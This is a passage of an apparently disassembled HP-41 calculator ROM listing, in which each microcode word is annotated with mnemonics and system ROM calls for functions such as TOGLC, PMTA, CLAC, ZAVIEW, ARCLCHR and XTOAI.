0x0A4 ; .con 0x056 ; C=0 XS .con 0x2E6 ; ?C#0 S&X ; .con 0x3C3 ; GONC -08 LB_A450 A450 gonc LB_A450 .con 0x329 ; GSUBNC DECADA 29CA ; HP41 SYSTEM ROM 2 .con 0x0A4 ; LB_A45B: .con 0x198 ; C=M .con 0x08D ; GOLNC PTBYTA 2323 ; HP41 SYSTEM ROM 2 .con 0x08E ; .con 0x083 ; .con 0x00C ; .con 0x007 ; .con 0x00F ; LB_A462: .NAME "TOGLC" TOGLC: .con 0x378 ; C=REGN (13)c .con 0x27C ; RCR 9 .con 0x3D8 ; CSTEX .con 0x00C ; ST=1? 3 ; .con 0x01B ; GONC +03 LB_A46A A46A gonc LB_A46A .con 0x004 ; ST=0 3 ; .con 0x013 ; GONC +02 LB_A46B A46B gonc LB_A46B LB_A46A: .con 0x008 ; ST=1 3 LB_A46B: .con 0x3D8 ; CSTEX .con 0x0BC ; RCR 5 .con 0x368 ; REGN=C (13)c .con 0x3E0 ; RTN .con 0x081 ; .con 0x014 ; .con 0x00D ; .NAME "PMTA" PMTA: .con 0x378 ; C=REGN (13)c .con 0x27C ; RCR 9 .con 0x3D8 ; CSTEX .con 0x30C ; ST=1? 1 ; .con 0x08B ; GONC +11 LB_A488 A488 gonc LB_A488 .con 0x304 ; ST=0 1 .con 0x3D8 ; CSTEX .con 0x0BC ; RCR 5 .con 0x368 ; REGN=C (13)c .con 0x178 ; C=REGN ( 5)M .con 0x2EE ; ?C#0 ALL ; .con 0x043 ; GONC +08 LB_A486 A486 gonc LB_A486 .con 0x3B8 ; C=REGN (14)d .con 0x13C ; RCR 8 .con 0x3D8 ; CSTEX .con 0x388 ; ST=1 0 .con 0x3D8 ; CSTEX .con 0x17C ; RCR 6 .con 0x3A8 ; REGN=C (14)d LB_A486: .con 0x115 ; GOLNC 1345 .con 0x04E ; LB_A488: .con 0x3D8 ; CSTEX .con 0x0BC ; RCR 5 .con 0x368 ; REGN=C (13)c .con 0x0F1 ; GSUBNC AON 133C ; HP41 SYSTEM ROM 1 .con 0x04C ; ; .con 0x379 ; GSB41C LB_A505 A505 ; GSUBNC 0FDE, address in same Quad RXQ LB_A505 ; .con 0x03C ; ; .con 0x105 ; .con 0x178 ; C=REGN ( 5)M .con 0x2EE ; ?C#0 ALL ; .con 0x08F ; GOC +11 LB_A4A3 A4A3 goc LB_A4A3 .con 0x130 ; LDI 007 .con 0x007 ; .con 0x33C ; RCR 1 .con 0x268 ; REGN=C ( 9)Q ; .con 0x379 ; GSB41C LB_A50B A50B ; GSUBNC 0FDE, address in same Quad RXQ LB_A50B ; .con 0x03C ; ; .con 0x10B ; .con 0x014 ; ?PT= 3 .con 0x005 ; GSUBNC 0601 .con 0x018 ; .con 0x094 ; ?PT= 5 .con 0x020 ; SPOPND ; .con 0x21F ; GOC -3D LB_A462 A462 goc LB_A462 .con 0x3DD ; GSUBNC LEFTJ 2BF7 ; HP41 SYSTEM ROM 2 .con 0x0AC ; ; .con 0x043 ; GONC +08 LB_A4AA A4AA gonc LB_A4AA LB_A4A3: .con 0x104 ; ST=0 8 .con 0x041 ; GSUBNC ARGOUT 2C10 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x108 ; ST=1 8 .con 0x2E0 ; DISOFF .con 0x041 ; GSUBNC ARGOUT 2C10 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; LB_A4AA: .con 0x188 ; ST=1 11 .con 0x149 ; GSUBNC 0E52 .con 0x038 ; .con 0x3BD ; GOLNC NAME33 0EEF ; HP41 SYSTEM ROM 0 .con 0x03A ; .con 0x25D ; GSUBNC LDSST0 0797 ; HP41 SYSTEM ROM 0 .con 0x01C ; .con 0x33C ; RCR 1 .con 0x3D8 ; CSTEX .con 0x084 ; ST=0 5 .con 0x18C ; ST=1? 11 ; .con 0x01B ; GONC +03 LB_A4B8 A4B8 gonc LB_A4B8 .con 0x148 ; ST=1 6 .con 0x108 ; ST=1 8 LB_A4B8: .con 0x3D8 ; CSTEX .con 0x2FC ; RCR 13 .con 0x3A8 ; REGN=C (14)d .con 0x278 ; C=REGN ( 9)Q .con 0x11E ; A=C MS .con 0x3D9 ; GSUBNC ENLCD 07F6 ; HP41 SYSTEM ROM 0 .con 0x01C ; .con 0x0C9 ; GSUBNC AOUTR0 2C32 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x18C ; ST=1? 11 .con 0x345 ; GSUBC CLA 10D1 ; HP41 SYSTEM ROM 1 .con 0x041 ; .con 0x04C ; ST=1? 4 ; .con 0x01F ; GOC +03 LB_A4C8 A4C8 goc LB_A4C8 .con 0x2CC ; ST=1? 13 ; .con 0x043 ; GONC +08 LB_A4CF A4CF gonc LB_A4CF LB_A4C8: .con 0x378 ; C=REGN (13)c .con 0x27C ; RCR 9 .con 0x3D8 ; CSTEX .con 0x308 ; ST=1 1 .con 0x3D8 ; CSTEX .con 0x0BC ; RCR 5 .con 0x368 ; REGN=C (13)c LB_A4CF: .con 0x2C4 ; ST=0 13 .con 0x015 ; GOLNC PARSE 0C05 ; HP41 SYSTEM ROM 0 .con 0x032 ; .con 0x130 ; LDI 03A .con 0x03A ; ; .con 0x03B ; GONC +07 LB_A4DB A4DB gonc LB_A4DB .con 0x083 ; .con 0x001 ; .con 0x00C ; .NAME "CLAC" CLAC: .con 0x130 ; LDI 02C .con 0x02C ; LB_A4DB: .con 0x31C ; PT= 1 .con 0x10A ; A=C R<- LB_A4DD: .con 0x178 ; C=REGN ( 5)M .con 0x36A ; ?A#C R<- ; .con 0x037 ; GOC +06 LB_A4E5 A4E5 goc LB_A4E5 ; .con 0x379 ; GSB41C LB_A4F1 A4F1 ; GSUBNC 0FDE, address in same Quad RXQ LB_A4F1 ; .con 0x03C ; ; .con 0x0F1 ; ; .con 0x3D3 ; GONC -06 LB_A4DD A4DD gonc LB_A4DD LB_A4E4: .con 0x178 ; C=REGN ( 5)M LB_A4E5: .con 0x2EA ; ?C#0 R<- .con 0x345 ; GOLNC CLA 10D1 ; HP41 SYSTEM ROM 1 .con 0x042 ; .con 0x36A ; ?A#C R<- ; .con 0x027 ; GOC +04 LB_A4ED A4ED goc LB_A4ED .con 0x23C ; RCR 2 .con 0x36A ; ?A#C R<- .con 0x360 ; RTNC ;LB_A4ED: .con 0x379 ; GSB41C LB_A4F1 A4F1 ; GSUBNC 0FDE, address in same Quad LB_A4ED: RXQ LB_A4F1 ; .con 0x03C ; ; .con 0x0F1 ; ; .con 0x3A3 ; GONC -0C LB_A4E4 A4E4 gonc LB_A4E4 LB_A4F1: .con 0x31C ; PT= 1 .con 0x238 ; C=REGN ( 8)P .con 0x0EA ; BCEX R<- .con 0x17C ; RCR 6 .con 0x04A ; C=0 R<- .con 0x0FC ; RCR 10 .con 0x228 ; REGN=C ( 8)P .con 0x1F8 ; C=REGN ( 7)O .con 0x0EA ; BCEX R<- .con 0x23C ; RCR 2 .con 0x1E8 ; REGN=C ( 7)O .con 0x1B8 ; C=REGN ( 6)N .con 0x0EA ; BCEX R<- .con 0x23C ; RCR 2 .con 0x1A8 ; REGN=C ( 6)N .con 0x178 ; C=REGN ( 5)M .con 0x0EA ; BCEX R<- .con 0x23C ; RCR 2 .con 0x168 ; REGN=C ( 5)M .con 0x3E0 ; RTN LB_A505: .con 0x04C ; ST=1? 4 ; .con 0x01F ; GOC +03 LB_A509 A509 goc LB_A509 .con 0x2CC ; ST=1? 13 .con 0x3A0 ; RTNNC LB_A509: .con 0x379 ; GOLNC BSTEP 28DE ; HP41 SYSTEM ROM 2 .con 0x0A2 ; LB_A50B: .con 0x3A1 ; GSUBNC ERRSUB 22E8 ; HP41 SYSTEM ROM 2 .con 0x088 ; .con 0x3C1 ; GSUBNC CLLCDE 2CF0 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x3BD ; GOLNC MESSL 07EF ; HP41 SYSTEM ROM 0 .con 0x01E ; .con 0x098 ; .con 0x00C ; .con 0x005 ; .con 0x004 ; .con 0x001 ; .NAME "LADELX" LADELX: .con 0x0F8 ; C=REGN ( 3)X .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x0A6 ; ACEX S&X .con 0x130 ; LDI 019 .con 0x019 ; .con 0x306 ; ?A<C S&X .con 0x0B5 ; GOLNC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A2 ; .con 0x066 ; ABEX S&X .con 0x1D5 ; GSUBNC FIND$1 1775 ; HP41 SYSTEM ROM 1 .con 0x05C ; .con 0x3DC ; INCPT .con 0x2EE ; ?C#0 ALL .con 0x3A0 ; RTNNC LB_A526: .con 0x2E2 ; ?C#0 @R ; .con 0x03F ; GOC +07 LB_A52E A52E goc LB_A52E .con 0x3D4 ; DECPT .con 0x2E2 ; ?C#0 @R ; .con 0x01F ; GOC +03 LB_A52D A52D goc LB_A52D .con 0x3D4 ; DECPT ; .con 0x3D3 ; GONC -06 LB_A526 A526 gonc LB_A526 LB_A52D: .con 0x3DC ; INCPT LB_A52E: .con 0x0E6 ; BCEX S&X .con 0x266 ; C=C-1 S&X ; .con 0x023 ; GONC +04 LB_A534 A534 gonc LB_A534 .con 0x0E6 ; BCEX S&X .con 0x2F0 ; DATA=C .con 0x3E0 ; RTN LB_A534: .con 0x0E6 ; BCEX S&X .con 0x010 ; LC 0 .con 0x010 ; LC 0 .con 0x2D4 ; ?PT= 13 ; .con 0x3B3 ; GONC -0A LB_A52E A52E gonc LB_A52E .con 0x2F0 ; DATA=C .con 0x130 ; LDI 004 .con 0x004 ; .con 0x366 ; ?A#C S&X .con 0x3A0 ; RTNNC .con 0x2DC ; PT= 13 .con 0x0A6 ; ACEX S&X .con 0x270 ; DADD=C .con 0x266 ; C=C-1 S&X .con 0x0A6 ; ACEX S&X .con 0x038 ; C=REGN ( 0)T ; .con 0x353 ; GONC -16 LB_A52E A52E gonc LB_A52E .con 0x081 ; .con 0x03E ; .con 0x007 ; .NAME "RG>A" RG>A: .con 0x248 ; ST=1 9 ; .con 0x033 ; GONC +06 LB_A550 A550 gonc LB_A550 .con 0x087 ; .con 0x012 ; .con 0x03E ; .NAME "A>RG" A>RG: .con 0x244 ; ST=0 9 LB_A550: .con 0x0F8 ; C=REGN ( 3)X .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x106 ; A=C S&X .con 0x378 ; C=REGN (13)c .con 0x03C ; RCR 3 .con 0x146 ; A=A+C S&X .con 0x130 ; LDI 1FD .con 0x1FD ; .con 0x306 ; ?A<C S&X .con 0x381 ; GOLNC ERRNE 02E0 ; HP41 SYSTEM ROM 0 .con 0x00A ; .con 0x39C ; PT= 0 .con 0x130 ; LDI 005 .con 0x005 ; .con 0x24C ; ST=1? 9 ; .con 0x013 ; GONC +02 LB_A562 A562 gonc LB_A562 .con 0x0A6 ; ACEX S&X LB_A562: .con 0x270 ; DADD=C .con 0x226 ; C=C+1 S&X .con 0x0E6 ; BCEX S&X .con 0x038 ; C=REGN ( 0)T .con 0x0AE ; ACEX ALL .con 0x270 ; DADD=C .con 0x0AE ; ACEX ALL .con 0x2F0 ; DATA=C .con 0x166 ; A=A+1 S&X .con 0x3DC ; INCPT .con 0x0E6 ; BCEX S&X .con 0x054 ; ?PT= 4 .con 0x360 ; RTNC ; .con 0x39B ; GONC -0D LB_A562 A562 gonc LB_A562 .con 0x081 ; .con 0x03E ; .con 0x014 ; .NAME "ST>A" ST>A: .con 0x0F8 ; C=REGN ( 3)X .con 0x168 ; REGN=C ( 5)M .con 0x0B8 ; C=REGN ( 2)Y .con 0x1A8 ; REGN=C ( 6)N .con 0x078 ; C=REGN ( 1)Z .con 0x1E8 ; REGN=C ( 7)O .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T .con 0x228 ; REGN=C ( 8)P .con 0x3E0 ; RTN .con 0x094 ; .con 0x013 ; .con 0x03E ; .NAME "A>ST" A>ST: .con 0x178 ; C=REGN ( 5)M .con 0x0E8 ; REGN=C ( 3)X .con 0x1B8 ; C=REGN ( 6)N .con 0x0A8 ; REGN=C ( 2)Y .con 0x1F8 ; C=REGN ( 7)O .con 0x068 ; REGN=C ( 1)Z .con 0x238 ; C=REGN ( 8)P .con 0x028 ; REGN=C ( 0)T .con 0x3E0 ; RTN .con 0x081 ; .con 0x03E ; .con 0x03C ; .con 0x014 ; .NAME "ST<>A" ST<>A: .con 0x130 ; LDI 003 .con 0x003 ; .con 0x106 ; A=C S&X LB_A593: .con 0x04E ; C=0 ALL .con 0x206 ; C=A+C S&X .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T .con 0x0EE ; BCEX ALL .con 0x130 ; LDI 008 .con 0x008 ; .con 0x0A6 ; ACEX S&X .con 0x246 ; C=A-C S&X .con 0x270 ; DADD=C .con 0x246 ; C=A-C S&X .con 0x0A6 ; ACEX S&X .con 0x038 ; C=REGN ( 0)T .con 0x0EE ; BCEX ALL .con 0x2F0 ; DATA=C .con 0x04E ; C=0 ALL .con 0x206 ; C=A+C S&X .con 0x270 ; DADD=C .con 0x0EE ; BCEX ALL .con 0x2F0 ; DATA=C .con 0x1A6 ; A=A-1 S&X ; .con 0x35B ; GONC -15 LB_A593 A593 gonc LB_A593 .con 0x3E0 ; RTN .con 0x000 ; NOP .con 0x097 ; .con 0x005 ; .con 0x009 ; .con 0x016 ; .con 0x001 ; .NAME "ZAVIEW" ZAVIEW: .con 0x244 ; ST=0 9 .con 0x046 ; C=0 S&X .con 0x270 ; DADD=C ; .con 0x379 ; GSB41C LB_A609 A609 ; GSUBNC 0FDE, address in same Quad RXQ LB_A609 ; .con 0x03C ; ; .con 0x209 ; .con 0x260 ; SETHEX .con 0x130 ; LDI 003 .con 0x003 ; .con 0x070 ; N=C .con 0x345 ; GSUBNC CLA 10D1 ; HP41 SYSTEM ROM 1 .con 0x040 ; .con 0x0B0 ; C=N .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T .con 0x0EE ; BCEX ALL .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x2DE ; ?B#0 MS ; .con 0x03F ; GOC +07 LB_A5CB A5CB goc LB_A5CB .con 0x130 ; LDI 020 .con 0x020 ; .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; ;LB_A5CB: .con 0x379 ; GSB41C LB_A5F1 A5F1 ; GSUBNC 0FDE, address in same Quad LB_A5CB: RXQ LB_A5F1 ; .con 0x03C ; ; .con 0x1F1 ; .con 0x0B0 ; C=N .con 0x266 ; C=C-1 S&X .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T .con 0x0EE ; BCEX ALL .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x39C ; PT= 0 .con 0x24C ; ST=1? 9 ; .con 0x023 ; GONC +04 LB_A5DB A5DB gonc LB_A5DB .con 0x130 ; LDI 00D .con 0x00D ; ; .con 0x073 ; GONC +0E LB_A5E8 A5E8 gonc LB_A5E8 LB_A5DB: .con 0x2DE ; ?B#0 MS ; .con 0x027 ; GOC +04 LB_A5E0 A5E0 goc LB_A5E0 .con 0x130 ; LDI 02B .con 0x02B ; ; .con 0x01B ; GONC +03 LB_A5E2 A5E2 gonc LB_A5E2 LB_A5E0: .con 0x130 ; LDI 02D .con 0x02D ; LB_A5E2: .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x03E ; B=0 MS .con 0x130 ; LDI 04A .con 0x04A ; LB_A5E8: .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; ; .con 0x379 ; GSB41C LB_A5F1 A5F1 ; GSUBNC 0FDE, address in same Quad RXQ LB_A5F1 ; .con 0x03C ; ; .con 0x1F1 ; ; .con 0x369 ; GOL41C LB_A64A A64A ; GSUBNC 0FDA, address in same Quad RGO LB_A64A ; .con 0x03C ; ; .con 0x24A ; LB_A5F1: .con 0x3B8 ; C=REGN (14)d .con 0x268 ; REGN=C ( 9)Q .con 0x0EE ; BCEX ALL .con 0x128 ; REGN=C ( 4)L .con 0x084 ; ST=0 5 .con 0x0ED ; GSUBNC INTFRC 193B ; HP41 SYSTEM ROM 1 .con 0x064 ; .con 0x2EE ; ?C#0 ALL ; .con 0x047 ; GOC +08 LB_A601 A601 goc LB_A601 .con 0x3B8 ; C=REGN (14)d .con 0x15C ; PT= 6 .con 0x010 ; LC 0 .con 0x010 ; LC 0 .con 0x010 ; LC 0 .con 0x210 ; LC 8 .con 0x3A8 ; REGN=C (14)d LB_A601: .con 0x138 ; C=REGN ( 4)L .con 0x0EE ; BCEX ALL .con 0x0A0 ; SELP .con 0x0A1 ; GSUBNC AFORMT 0628 ; HP41 SYSTEM ROM 0 .con 0x018 ; .con 0x278 ; C=REGN ( 9)Q .con 0x3A8 ; REGN=C (14)d .con 0x3E0 ; RTN LB_A609: .con 0x0B8 ; C=REGN ( 2)Y .con 0x10E ; A=C ALL .con 0x0F8 ; C=REGN ( 3)X .con 0x351 ; GSUBNC CHK$S1 14D4 ; HP41 SYSTEM ROM 1 .con 0x050 ; .con 0x260 ; SETHEX .con 0x24C ; ST=1? 9 .con 0x360 ; RTNC .con 0x05E ; C=0 MS .con 0x01E ; A=0 MS .con 0x36E ; ?A#C ALL .con 0x360 ; RTNC .con 0x2EE ; ?C#0 ALL .con 0x3A0 ; RTNNC .con 0x1B0 ; C=STK .con 0x345 ; GSUBNC CLA 10D1 ; HP41 SYSTEM ROM 1 .con 0x040 ; .con 0x0F8 ; C=REGN ( 3)X .con 0x0EE ; BCEX ALL .con 0x2DE ; ?B#0 MS ; .con 0x03F ; GOC +07 LB_A624 A624 goc LB_A624 .con 0x130 ; LDI 020 .con 0x020 ; .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; LB_A624: .con 0x260 ; SETHEX ; .con 0x379 ; GSB41C LB_A5F1 A5F1 ; GSUBNC 0FDE, address in same Quad RXQ LB_A5F1 ; .con 0x03C ; ; .con 0x1F1 ; .con 0x130 ; LDI 028 .con 0x028 ; .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x130 ; LDI 031 .con 0x031 ; .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x0B8 ; C=REGN ( 2)Y .con 0x10E ; A=C ALL .con 0x0F8 ; C=REGN ( 3)X .con 0x37E ; ?A#C MS ; .con 0x027 ; GOC +04 LB_A63B A63B goc LB_A63B .con 0x130 ; LDI 02B .con 0x02B ; ; .con 0x01B ; GONC +03 LB_A63D A63D gonc LB_A63D LB_A63B: .con 0x130 ; LDI 02D .con 0x02D ; LB_A63D: .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x130 ; LDI 04A .con 0x04A ; .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x130 ; LDI 029 .con 0x029 ; .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; LB_A64A: .con 0x25D ; GSUBNC LDSST0 0797 ; HP41 SYSTEM ROM 0 .con 0x01C ; .con 0x191 ; GSUBNC XAVIEW 0364 ; HP41 SYSTEM ROM 0 .con 0x00C ; .con 0x3C1 ; GOLNC NFRPU 00F0 ; HP41 SYSTEM ROM 0 .con 0x002 ; .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP LB_A661: .con 0x398 ; C=ST .con 0x3C4 ; CLRST ; .con 0x023 ; GONC +04 LB_A667 A667 gonc LB_A667 .con 0x398 ; C=ST .con 0x3C4 ; CLRST .con 0x388 ; ST=1 0 LB_A667: .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x0A6 ; ACEX S&X .con 0x2BC ; RCR 7 .con 0x1B0 ; C=STK .con 0x330 ; CXISA .con 0x106 ; A=C S&X .con 0x23A ; C=C+1 M .con 0x330 ; CXISA .con 0x23A ; C=C+1 M .con 0x170 ; STK=C .con 0x3E6 ; ASL S&X .con 0x0A2 ; ACEX @R .con 0x07C ; RCR 4 .con 0x0A6 ; ACEX S&X .con 0x05E ; C=0 MS .con 0x1BC ; RCR 11 .con 0x106 ; A=C S&X .con 0x27C ; RCR 9 .con 0x130 ; LDI 019 .con 0x019 ; .con 0x366 ; ?A#C S&X ; .con 0x017 ; GOC +02 LB_A67F A67F goc LB_A67F .con 0x308 ; ST=1 1 LB_A67F: .con 0x15C ; PT= 6 .con 0x210 ; LC 8 .con 0x04A ; C=0 R<- .con 0x15C ; PT= 6 LB_A683: .con 0x330 ; CXISA .con 0x366 ; ?A#C S&X ; .con 0x0DB ; GONC +1B LB_A6A0 A6A0 gonc LB_A6A0 .con 0x222 ; C=C+1 @R ; .con 0x3E3 ; GONC -04 LB_A683 A683 gonc LB_A683 .con 0x30C ; ST=1? 1 .con 0x3A0 ; RTNNC .con 0x0D0 ; LC 3 .con 0x330 ; CXISA .con 0x366 ; ?A#C S&X ; .con 0x127 ; GOC +24 LB_A6B1 A6B1 goc LB_A6B1 .con 0x1B0 ; C=STK .con 0x170 ; STK=C .con 0x330 ; CXISA .con 0x106 ; A=C S&X .con 0x13C ; RCR 8 .con 0x356 ; ?A#0 XS ; .con 0x02B ; GONC +05 LB_A699 A699 gonc LB_A699 .con 0x016 ; A=0 XS .con 0x0A6 ; ACEX S&X .con 0x1C6 ; A=A-C S&X ; .con 0x013 ; GONC +02 LB_A69A A69A gonc LB_A69A LB_A699: .con 0x146 ; A=A+C S&X LB_A69A: .con 0x03C ; RCR 3 .con 0x0A6 ; ACEX S&X .con 0x01C ; PT= 3 .con 0x0D0 ; LC 3 .con 0x33C ; RCR 1 ; .con 0x03B ; GONC +07 LB_A6A6 A6A6 gonc LB_A6A6 LB_A6A0: .con 0x17C ; RCR 6 .con 0x39C ; PT= 0 .con 0x102 ; A=C @R .con 0x0BC ; RCR 5 .con 0x0A6 ; ACEX S&X .con 0x37C ; RCR 12 LB_A6A6: .con 0x1B0 ; C=STK .con 0x23A ; C=C+1 M .con 0x38C ; ST=1? 0 ; .con 0x017 ; GOC +02 LB_A6AB A6AB goc LB_A6AB .con 0x170 ; STK=C LB_A6AB: .con 0x39C ; PT= 0 .con 0x0D8 ; CGEX .con 0x358 ; ST=C .con 0x0D8 ; CGEX .con 0x035 ; GOLNC 0C0D .con 0x032 ; LB_A6B1: .con 0x3C1 ; GSUBNC CLLCDE 2CF0 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x3BD ; GSUBNC MESSL 07EF ; 00E 00F 020 018 02D 006 00E 003 213 .con 0x01C ; .con 0x00E ; .con 0x00F ; .con 0x020 ; .con 0x018 ; .con 0x02D ; .con 0x006 ; .con 0x00E ; .con 0x003 ; .con 0x213 ; .con 0x3DD ; GSUBNC LEFTJ 2BF7 ; HP41 SYSTEM ROM 2 .con 0x0AC ; .con 0x108 ; ST=1 8 .con 0x201 ; GSUBNC MSG105 1C80 ; HP41 SYSTEM ROM 1 .con 0x070 ; .con 0x3ED ; GOLNC ERR110 22FB ; HP41 SYSTEM ROM 2 .con 0x08A ; .con 0x092 ; .con 0x008 ; .con 0x003 ; .con 0x00C ; .con 0x003 ; .con 0x012 ; .NAME "ARCLCHR" ;ARCLCHR: .con 0x379 ; GSB41C LB_A661 A661 ; GSUBNC 0FDE, address in same Quad ARCLCHR: RXQ LB_A661 ; .con 0x03C ; ; .con 0x261 ; .con 0x0C9 ; GOLC 6532 .con 0x197 ; .con 0x105 ; GSUBNC ULINK2 2241 ; HP41 SYSTEM ROM 2 .con 0x088 ; .con 0x104 ; ST=0 8 ; .con 0x379 ; GSB41C LB_A661 A661 ; GSUBNC 0FDE, address in same Quad RXQ LB_A661 ; .con 0x03C ; ; .con 0x261 ; .con 0x05D ; GSUBNC 6717 .con 0x19C ; .con 0x122 ; A=A+B @R .con 0x38C ; ST=1? 0 ; .con 0x0AB ; GONC +15 LB_A6F0 A6F0 gonc LB_A6F0 .con 0x3C1 ; GSUBNC CLLCDE 2CF0 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x3BD ; GSUBNC MESSL 07EF ; 005 00E 004 020 00F 006 020 006 20C .con 0x01C ; .con 0x005 ; .con 0x00E ; .con 0x004 ; .con 0x020 ; .con 0x00F ; .con 0x006 ; .con 0x020 ; .con 0x006 ; .con 0x20C ; .con 0x3DD ; GSUBNC LEFTJ 2BF7 ; HP41 SYSTEM ROM 2 .con 0x0AC ; .con 0x108 ; ST=1 8 .con 0x201 ; GSUBNC MSG105 1C80 ; HP41 SYSTEM ROM 1 .con 0x070 ; .con 0x3ED ; GOLNC ERR110 22FB ; HP41 SYSTEM ROM 2 .con 0x08A ; ;LB_A6F0: .con 0x379 ; GSB41C LB_A661 A661 ; GSUBNC 0FDE, address in same Quad LB_A6F0: RXQ LB_A661 ; .con 0x03C ; ; .con 0x261 ; .con 0x014 ; ?PT= 3 .con 0x19E ; A=A-B MS .con 0x110 ; LC 4 .con 0x130 ; LDI 018 .con 0x018 ; .con 0x0A6 ; ACEX S&X .con 0x1C6 ; A=A-C S&X .con 0x086 ; B=A S&X .con 0x0F8 ; C=REGN ( 3)X .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x066 ; ABEX S&X .con 0x306 ; ?A<C S&X ; .con 0x017 ; GOC +02 LB_A702 A702 goc LB_A702 .con 0x0A6 ; ACEX S&X LB_A702: .con 0x108 ; ST=1 8 .con 0x0B0 ; C=N .con 0x17C ; RCR 6 .con 0x0EE ; BCEX ALL .con 0x2BC ; RCR 7 .con 0x0A6 ; ACEX S&X .con 0x186 ; A=A-B S&X .con 0x0A6 ; ACEX S&X .con 0x306 ; ?A<C S&X ; .con 0x01F ; GOC +03 LB_A70E A70E goc LB_A70E .con 0x104 ; ST=0 8 .con 0x0A6 ; ACEX S&X LB_A70E: .con 0x066 ; ABEX S&X .con 0x198 ; C=M .con 0x23C ; RCR 2 .con 0x0C6 ; C=B S&X .con 0x158 ; M=C .con 0x0B0 ; C=N .con 0x03C ; RCR 3 .con 0x106 ; A=C S&X ; .con 0x379 ; GSB41C LB_A661 A661 ; GSUBNC 0FDE, address in same Quad RXQ LB_A661 ; .con 0x03C ; ; .con 0x261 ; .con 0x064 ; SELPF 1 ; Peripheral 1: HP-IL .con 0x191 ; GSUBC 4964 .con 0x125 ; .con 0x25D ; GSUBNC LDSST0 0797 ; HP41 SYSTEM ROM 0 .con 0x01C ; .con 0x27C ; RCR 9 .con 0x3D8 ; CSTEX .con 0x204 ; ST=0 2 .con 0x10C ; ST=1? 8 ; .con 0x013 ; GONC +02 LB_A724 A724 gonc LB_A724 .con 0x208 ; ST=1 2 LB_A724: .con 0x3D8 ; CSTEX .con 0x0BC ; RCR 5 .con 0x3A8 ; REGN=C (14)d LB_A727: .con 0x198 ; C=M .con 0x266 ; C=C-1 S&X .con 0x360 ; RTNC .con 0x17C ; RCR 6 .con 0x10E ; A=C ALL .con 0x2ED ; GSUBNC GTBYTA 29BB ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x0E6 ; BCEX S&X ; .con 0x379 ; GSB41C LB_A661 A661 ; GSUBNC 0FDE, address in same Quad RXQ LB_A661 ; .con 0x03C ; ; .con 0x261 ; .con 0x040 ; WMLDL .con 0x190 ; LC 6 .con 0x000 ; NOP .con 0x0AE ; ACEX ALL .con 0x13C ; RCR 8 .con 0x158 ; M=C .con 0x0C6 ; C=B S&X .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x01C ; PT= 3 ; .con 0x33B ; GONC -19 LB_A727 A727 gonc LB_A727 .con 0x089 ; .con 0x001 ; .con 0x00F ; .con 0x014 ; .NAME "XTOAI" XTOAI: .con 0x0F8 ; C=REGN ( 3)X .con 0x361 ; GSUBNC CHK$S 14D8 ; HP41 SYSTEM ROM 1 .con 0x050 ; .con 0x2F6 ; ?C#0 XS ; .con 0x013 ; GONC +02 LB_A74C A74C gonc LB_A74C .con 0x04E ; C=0 ALL LB_A74C: .con 0x2DC ; PT= 13 .con 0x0D0 ; LC 3 .con 0x10E ; A=C ALL .con 0x130 ; LDI 024 .con 0x024 ; .con 0x306 ; ?A<C S&X .con 0x289 ; GOLNC ERROF 00A2 ; HP41 SYSTEM ROM 0 .con 0x002 ; LB_A754: .con 0x06E ; ABEX ALL .con 0x0CE ; C=B ALL .con 0x35C ; PT= 12 .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x06E ; ABEX ALL .con 0x3FA ; ASL M .con 0x1A6 ; A=A-1 S&X ; .con 